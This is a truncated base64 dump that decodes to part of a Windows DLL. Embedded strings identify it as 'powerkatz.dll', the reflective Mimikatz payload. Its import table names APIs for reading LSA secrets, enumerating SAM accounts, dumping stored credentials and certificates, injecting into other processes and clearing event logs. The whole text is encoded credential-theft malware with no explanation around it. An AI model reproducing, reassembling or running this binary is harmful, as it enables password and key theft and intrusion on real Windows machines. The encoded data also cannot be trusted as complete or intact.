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TGVuZ3RoU2lkAAB2AENvcHlTaWQAnQFMc2FDbG9zZQAAvQFMc2FPcGVuUG9saWN5AMUBTHNhUXVlcnlJbmZvcm1hdGlvblBvbGljeQCDAENyZWF0ZVdlbGxLbm93blNpZAAAfABDcmVhdGVQcm9jZXNzQXNVc2VyVwAAfQBDcmVhdGVQcm9jZXNzV2l0aExvZ29uVwBuAlJlZ1F1ZXJ5VmFsdWVFeFcAAFICUmVnRW51bVZhbHVlVwBhAlJlZ09wZW5LZXlFeFcAfgJSZWdTZXRWYWx1ZUV4VwAATwJSZWdFbnVtS2V5RXhXAGgCUmVnUXVlcnlJbmZvS2V5VwAAMAJSZWdDbG9zZUtleQDtAlN5c3RlbUZ1bmN0aW9uMDMyACkCUXVlcnlTZXJ2aWNlU3RhdHVzRXgAAPsBT3BlblNlcnZpY2VXAADJAlN0YXJ0U2VydmljZVcAXABDb250cm9sU2VydmljZQAA2gBEZWxldGVTZXJ2aWNlAPkBT3BlblNDTWFuYWdlclcAAFcAQ2xvc2VTZXJ2aWNlSGFuZGxlAABsAENvbnZlcnRTaWRUb1N0cmluZ1NpZFcAAMEAQ3J5cHRHZW5SYW5kb20AAIABSXNUZXh0VW5pY29kZQBaAUdldFRva2VuSW5mb3JtYXRpb24AjwFMb29rdXBBY2NvdW50TmFtZVcAAJEBTG9va3VwQWNjb3VudFNpZFcA9wFPcGVuUHJvY2Vzc1Rva2VuAAB0AENvbnZlcnRTdHJpbmdTaWRUb1NpZFcAAKsBTHNhRnJlZU1lbW9yeQDTAlN5c3RlbUZ1bmN0aW9uMDA2ALwAQ3J5cHRFbnVtUHJvdmlkZXJUeXBlc1cAvgBDcnlwdEVudW1Qcm92aWRlcnNXAMcAQ3J5cHRHZXRVc2VyS2V5APYBT3BlbkV2ZW50TG9nVwBTAENsZWFyRXZlbnRMb2dXAABDAUdldE51bWJlck9mRXZlbnRMb2dSZWNvcmRzAAAnAlF1ZXJ5U2VydmljZU9iamVjdFNlY3VyaXR5AABDAEJ1aWxkU2VjdXJpdHlEZXNjcmlwdG9yVwAAIAFGcmVlU2lkAL8CU2V0U2VydmljZU9iamVjdFNlY3VyaXR5AAAgAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAAgQBDcmVhdGVTZXJ2aWNlVwAA5gJTeXN0ZW1GdW5jdGlvbjAyNQDMAUxzYVJldHJpZXZlUHJpdmF0ZURhdGEAAL8BTHNhT3BlblNlY3JldADJAUxzYVF1ZXJ5VHJ1c3RlZERvbWFpbkluZm9CeU5hbWUAxgFMc2FRdWVyeVNlY3JldAAAzgJTeXN0ZW1GdW5jdGlvbjAwMQDSAlN5c3RlbUZ1bmN0aW9uMDA1AFcBR2V0U2lkU3ViQXV0aG9yaXR5AADaAlN5c3RlbUZ1bmN0aW9uMDEzAFgBR2V0U2lkU3ViQXV0aG9yaXR5Q291bnQAqgFMc2FFbnVtZXJhdGVUcnVzdGVkRG9tYWluc0V4AACXAUxvb2t1cFByaXZpbGVnZVZhbHVlVwCGAUlzVmFsaWRTaWQAAPwBT3BlblRocmVhZFRva2VuAN8ARHVwbGljYXRlVG9rZW5FeAAAUQBDaGVja1Rva2VuTWVtYmVyc2hpcAAAwQJTZXRUaHJlYWRUb2tlbgAAjABDcmVkRnJlZQAAiQBDcmVkRW51bWVyYXRlVwAAQURWQVBJMzIuZGxsAADWAENyeXB0VW5wcm90ZWN0RGF0YQAAewBDcnlwdEJpbmFyeVRvU3RyaW5nVwAA1ABDcnlwdFN0cmluZ1RvQmluYXJ5VwAAugBDcnlwdFByb3RlY3REYXRhAAB5AENyeXB0QWNxdWlyZUNlcnRpZmljYXRlUHJpdmF0ZUtleQAIAENlcnRBZGRFbmNvZGVkQ2VydGlmaWNhdGVUb1N0b3JlAABAAENlcnRGcmVlQ2VydGlmaWNhdGVDb250ZXh0AAAvAENlcnRFbnVtU3lzdGVtU3RvcmUABABDZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZQAALABDZXJ0RW51bUNlcnRpZmljYXRlc0luU3RvcmUAEgBDZXJ0Q2xvc2VTdG9yZQAAEAFQRlhFeHBvcnRDZXJ0U3RvcmVFeAAAagBDZXJ0U2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkASwBDZXJ0R2V0TmFtZVN0cmluZ1cAAFcAQ2VydE9wZW5TdG9yZQBGAENlcnRHZXRDZXJ0aWZpY2F0ZUNvbnRleHRQcm9wZXJ0eQBDUllQVDMyLmRsbAAGAENETG9jYXRlQ2hlY2tTdW0AAAwATUQ1SW5pdAANAE1ENVVwZGF0ZQALAE1ENUZpbmFsAAAFAENETG9jYXRlQ1N5c3RlbQAEAENER2VuZXJhdGVSYW5kb21CaXRzAABjcnlwdGRsbC5kbGwAABAARHNHZXREY05hbWVXAABlAE5ldEFwaUJ1ZmZlckZyZWUAAE5FVEFQSTMyLmRsbAAAFABDb0NyZWF0ZUluc3RhbmNlAABwAENvVW5pbml0aWFsaXplAABDAENvSW5pdGlhbGl6ZUV4AABvbGUzMi5kbGwAT0xFQVVUMzIuZGxsAAB5AVJwY0JpbmRpbmdTZXRPcHRpb24AZwFScGNCaW5kaW5nRnJvbVN0cmluZ0JpbmRpbmdXAAD2AVJwY1N0cmluZ0JpbmRpbmdDb21wb3NlVwAAdgFScGNCaW5kaW5nU2V0QXV0aEluZm9FeFcAAPoBUnBjU3RyaW5nRnJlZVcAAGUBUnBjQmluZGluZ0ZyZWUAACAASV9ScGNCaW5kaW5nSW5xU2VjdXJpdHlDb250ZXh0AACVAE5kckNsaWVudENhbGwyAABSUENSVDQuZGxsAAA6AFBhdGhDb21iaW5lVwAAOABQYXRoQ2Fub25pY2FsaXplVwBlAFBhdGhJc1JlbGF0aXZlVwBJAFBhdGhGaW5kRmlsZU5hbWVXAFsAUGF0aElzRGlyZWN0b3J5VwAAU0hMV0FQSS5kbGwAEwBTYW1FbnVtZXJhdGVVc2Vyc0luRG9tYWluAB0AU2FtTG9va3VwTmFtZXNJbkRvbWFpbgAAHwBTYW1PcGVuRG9tYWluACEAU2FtT3BlblVzZXIAHABTYW1Mb29rdXBJZHNJbkRvbWFpbgAABwBTYW1Db25uZWN0AAAGAFNhbUNsb3NlSGFuZGxlAAAUAFNhbUZyZWVNZW1vcnkAJgBTYW1RdWVyeUluZm9ybWF0aW9uVXNlcgARAFNhbUVudW1lcmF0ZURvbWFpbnNJblNhbVNlcnZlcgAALABTYW1SaWRUb1NpZAAVAFNhbUdldEFsaWFzTWVtYmVyc2hpcAAbAFNhbUxvb2t1cERvbWFpbkluU2FtU2VydmVyAAAYAFNhbUdldEdyb3Vwc0ZvclVzZXIAU0FNTElCLmRsbAAAGABGcmVlQ29udGV4dEJ1ZmZlcgA0AFF1ZXJ5Q29udGV4dEF0dHJpYnV0ZXNXACcATHNhQ29ubmVjdFVudHJ1c3RlZAAoAExzYURlcmVnaXN0ZXJMb2dvblByb2Nlc3MAJgBMc2FDYWxsQXV0aGVudGljYXRpb25QYWNrYWdlAAAtAExzYUxvb2t1cEF1dGhlbnRpY2F0aW9uUGFja2FnZQAAKgBMc2FGcmVlUmV0dXJuQnVmZmVyAFNlY3VyMzIuZGxsAAYAQ29tbWFuZExpbmVUb0FyZ3ZXAABTSEVMTDMyLmRsbADHAUlzQ2hhckFscGhhTnVtZXJpY1cAQAFHZXRLZXlib2FyZExheW91dABVU0VSMzIuZGxsAAAFAEhpZERfR2V0SGlkR3VpZAABAEhpZERfRnJlZVByZXBhcnNlZERhdGEAAAwASGlkRF9HZXRQcmVwYXJzZWREYXRhABUASGlkUF9HZXRDYXBzAAACAEhpZERfR2V0QXR0cmlidXRlcwAASElELkRMTAA/AVNldHVwRGlEZXN0cm95RGV2aWNlSW5mb0xpc3QAAEMBU2V0dXBEaUVudW1EZXZpY2VJbnRlcmZhY2VzAFYBU2V0dXBEaUdldENsYXNzRGV2c1cAAG4BU2V0dXBEaUdldERldmljZUludGVyZmFjZURldGFpbFcAAFNFVFVQQVBJLmRsbAAAV0xEQVAzMi5kbGwAFQBSdGxGcmVlQW5zaVN0cmluZwAgAFJ0bFVuaWNvZGVTdHJpbmdUb0Fuc2lTdHJpbmcAABYAUnRsRnJlZVVuaWNvZGVTdHJpbmcAABIAUnRsRG93bmNhc2VVbmljb2RlU3RyaW5nAAAUAFJ0bEVxdWFsVW5pY29kZVN0cmluZwAcAFJ0bEluaXRVbmljb2RlU3RyaW5nAAACAE50UXVlcnlPYmplY3QAGABSdGxHZXRDb21wcmVzc2lvbldvcmtTcGFjZVNpemUAAA8AUnRsQ29tcHJlc3NCdWZmZXIABQBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb24AAAEATnRRdWVyeUluZm9ybWF0aW9uUHJvY2VzcwAZAFJ0bEdldEN1cnJlbnRQZWIAABAAUnRsQ3JlYXRlVXNlclRocmVhZAAXAFJ0bEdVSURGcm9tU3RyaW5nAB8AUnRsU3RyaW5nRnJvbUdVSUQAGgBSdGxHZXROdFZlcnNpb25OdW1iZXJzAAAOAFJ0bEFwcGVuZFVuaWNvZGVTdHJpbmdUb1N0cmluZwAAIgBSdGxVcGNhc2VVbmljb2RlU3RyaW5nAAANAFJ0bEFuc2lTdHJpbmdUb1VuaWNvZGVTdHJpbmcAAAYATnRSZXN1bWVQcm9jZXNzAAwAUnRsQWRqdXN0UHJpdmlsZWdlAAALAE50VGVybWluYXRlUHJvY2VzcwAACgBOdFN1c3BlbmRQcm9jZXNzAAAIAE50U2V0U3lzdGVtRW52aXJvbm1lbnRWYWx1ZUV4AAQATnRRdWVyeVN5c3RlbUVudmlyb25tZW50VmFsdWVFeAAAAE50RW51bWVyYXRlU3lzdGVtRW52aXJvbm1lbnRWYWx1ZXNFeAAAEwBSdGxFcXVhbFN0cmluZwAAbnRkbGwuZGxsAAEASV9OZXRTZXJ2ZXJSZXFDaGFsbGVuZ2UAAABJX05ldFNlcnZlckF1dGhlbnRpY2F0ZTIAAAIASV9OZXRTZXJ2ZXJUcnVzdFBhc3N3b3Jkc0dldAAAbmV0YXBpMzIuZGxsAABGA0xvY2FsQWxsb2MAACsBRmlsZVRpbWVUb1N5c3RlbVRpbWUAAEoDTG9jYWxGcmVlAMMDUmVhZEZpbGUAADQFV3JpdGVGaWxlAI8AQ3JlYXRlRmlsZVcAwARTbGVlcAAIAkdldExhc3RFcnJvcgAAzwRUZXJtaW5hdGVUaHJlYWQAUgBDbG9zZUhhbmRsZQC0AENyZWF0ZVRocmVhZAAAPwFGaW5kRmlyc3RGaWxlVwAA+AFHZXRGaWxlU2l6ZUV4AEsBRmluZE5leHRGaWxlVwAjAUV4cGFuZEVudmlyb25tZW50U3RyaW5nc1cANAFGaW5kQ2xvc2UA8QFHZXRGaWxlQXR0cmlidXRlc1cAAMUBR2V0Q3VycmVudERpcmVjdG9yeVcAAF0BRmx1c2hGaWxlQnVmZmVycwAAxgFHZXRDdXJyZW50UHJvY2VzcwDsAER1cGxpY2F0ZUhhbmRsZQCCA09wZW5Qcm9jZXNzAOEARGV2aWNlSW9Db250cm9sAD0FV3JpdGVQcm9jZXNzTWVtb3J5AAD+BFZpcnR1YWxQcm90ZWN0AAD7BFZpcnR1YWxGcmVlAPgEVmlydHVhbEFsbG9jAAB0BFNldEZpbGVQb2ludGVyAAD/BFZpcnR1YWxQcm90ZWN0RXgAAPkEVmlydHVhbEFsbG9jRXgAAMYDUmVhZFByb2Nlc3NNZW1vcnkA/ARWaXJ0dWFsRnJlZUV4AAAFVmlydHVhbFF1ZXJ5AAABBVZpcnR1YWxRdWVyeUV4AADlBFVubWFwVmlld09mRmlsZQCMAENyZWF0ZUZpbGVNYXBwaW5nVwAAWQNNYXBWaWV3T2ZGaWxlAE0DTG9jYWxSZUFsbG9jAACoAENyZWF0ZVByb2Nlc3NXAACABFNldExhc3RFcnJvcgAACAVXYWl0Rm9yU2luZ2xlT2JqZWN0AKkAQ3JlYXRlUmVtb3RlVGhyZWFkAAAqAUZpbGVUaW1lVG9Mb2NhbEZpbGVUaW1lAJ4CR2V0VGltZUZvcm1hdFcAACAFV2lkZUNoYXJUb011bHRpQnl0ZQDPAUdldERhdGVGb3JtYXRXAAAVAEFyZUZpbGVBcGlzQU5TSQDcBFRyeUVudGVyQ3JpdGljYWxTZWN0aW9uANUCSGVhcENyZWF0ZQAA1wJIZWFwRnJlZQAA8gBFbnRlckNyaXRpY2FsU2VjdGlvbgAAAgJHZXRGdWxsUGF0aE5hbWVXAADWAUdldERpc2tGcmVlU3BhY2VXAIsDT3V0cHV0RGVidWdTdHJpbmdBAABUA0xvY2tGaWxlAAA7A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADqAkluaXRpYWxpemVDcml0aWNhbFNlY3Rpb24A/wFHZXRGdWxsUGF0aE5hbWVBAABhBFNldEVuZE9mRmlsZQAA5ARVbmxvY2tGaWxlRXgAAIwCR2V0VGVtcFBhdGhXAACeAENyZWF0ZU11dGV4VwAArAJHZXRWZXJzaW9uRXhXAN8CSGVhcFZhbGlkYXRlAADcAkhlYXBTaXplAABpA011bHRpQnl0ZVRvV2lkZUNoYXIAiwJHZXRUZW1wUGF0aEEAAGQBRm9ybWF0TWVzc2FnZVcAANMBR2V0RGlza0ZyZWVTcGFjZUEA7AFHZXRGaWxlQXR0cmlidXRlc0EAAO4BR2V0RmlsZUF0dHJpYnV0ZXNFeFcAAIwDT3V0cHV0RGVidWdTdHJpbmdXAABgAUZsdXNoVmlld09mRmlsZQCIAENyZWF0ZUZpbGVBAAkFV2FpdEZvclNpbmdsZU9iamVjdEV4AKsCR2V0VmVyc2lvbkV4QQDUAERlbGV0ZUZpbGVBANcARGVsZXRlRmlsZVcA2gJIZWFwUmVBbGxvYwB6AkdldFN5c3RlbUluZm8A0wJIZWFwQWxsb2MA1AJIZWFwQ29tcGFjdADWAkhlYXBEZXN0cm95AOMEVW5sb2NrRmlsZQAAiQBDcm